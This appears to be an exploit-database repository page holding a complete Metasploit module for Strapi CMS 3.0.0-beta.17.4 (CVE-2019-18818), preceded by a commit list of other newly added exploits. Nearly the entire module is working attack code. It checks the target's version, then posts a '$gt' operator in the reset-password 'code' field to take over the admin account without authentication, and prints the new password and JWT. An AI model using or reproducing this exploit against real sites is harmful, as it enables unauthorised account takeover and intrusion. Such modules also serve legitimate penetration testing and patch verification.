41553c4004
11 changes to exploits/shellcodes Wing FTP Server 4.3.8 - Remote Code Execution (RCE) (Authenticated) Hotel Reservation System 1.0 - SQLi (Unauthenticated) Strapi CMS 3.0.0-beta.17.4 - Set Password (Unauthenticated) (Metasploit) FileBrowser 2.17.2 - Cross Site Request Forgery (CSRF) to Remote Code Execution (RCE) Hospital Management System 4.0 - 'multiple' SQL Injection WordPress Plugin International Sms For Contact Form 7 Integration V1.2 - Cross Site Scripting (XSS) Wordpress Plugin Simple Job Board 2.9.3 - Local File Inclusion WordPress Plugin Security Audit 1.0.0 - Stored Cross Site Scripting (XSS) WordPress Plugin CP Blocks 1.0.14 - Stored Cross Site Scripting (XSS) Windows/x86 - Locate kernel32 base address / Stack Crack method NullFree Shellcode (171 bytes)
87 lines
No EOL
2.2 KiB
Ruby
Executable file
87 lines
No EOL
2.2 KiB
Ruby
Executable file
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class MetasploitModule < Msf::Auxiliary
|
|
Rank = NormalRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
def initialize(info={})
|
|
super(update_info(info,
|
|
|
|
'Name' => "Strapi CMS 3.0.0-beta.17.4 - Set Password (Unauthenticated) (Metasploit)",
|
|
'Description' => %q{
|
|
This exploit module abuses the mishandling of password reset in JSON for Strapi CMS version 3.0.0-beta.17.4 to change the password of a privileged user.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [ 'WackyH4cker' ],
|
|
'References' =>
|
|
[
|
|
[ 'URL', 'https://vulners.com/cve/CVE-2019-18818' ]
|
|
],
|
|
'Platform' => 'linux',
|
|
'Targets' => [
|
|
[ 'Strapi 3.0.0-beta-17.4', {} ]
|
|
],
|
|
'Payload' => '',
|
|
'Privileged' => true,
|
|
'DisclosureDate' => "",
|
|
'DefaultOptions' =>
|
|
{
|
|
'SSL' => 'False',
|
|
'RPORT' => 80,
|
|
},
|
|
'DefaultTarget' => 0
|
|
|
|
))
|
|
|
|
register_options [
|
|
OptString.new('NEW_PASSWORD', [true, 'New password for user Admin'])
|
|
]
|
|
end
|
|
|
|
def check
|
|
|
|
res = send_request_raw({ 'uri' => '/admin/init' })
|
|
version = JSON.parse(res.body)
|
|
|
|
if version["data"]["strapiVersion"] == '3.0.0-beta.17.4'
|
|
return Exploit::CheckCode::Vulnerable
|
|
else
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
|
|
end
|
|
|
|
def run
|
|
|
|
json_body = { 'code' => {'$gt' => 0},
|
|
'password' => datastore['NEW_PASSWORD'],
|
|
'passwordConfirmation' => datastore['NEW_PASSWORD'] }
|
|
|
|
res = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => '/admin/auth/reset-password',
|
|
'ctype' => 'application/json',
|
|
'data' => JSON.generate(json_body)
|
|
})
|
|
|
|
print_status("Changing password...")
|
|
json_format = JSON.parse(res.body)
|
|
jwt = json_format['jwt']
|
|
|
|
if res.code == 200
|
|
print_good("Password changed successfully!")
|
|
print_good("USER: admin")
|
|
print_good("PASSWORD: #{datastore['NEW_PASSWORD']}")
|
|
print_good("JWT: #{jwt}")
|
|
else
|
|
fail_with(Failure::NoAccess"Could not change admin user password")
|
|
end
|
|
end
|
|
|
|
end |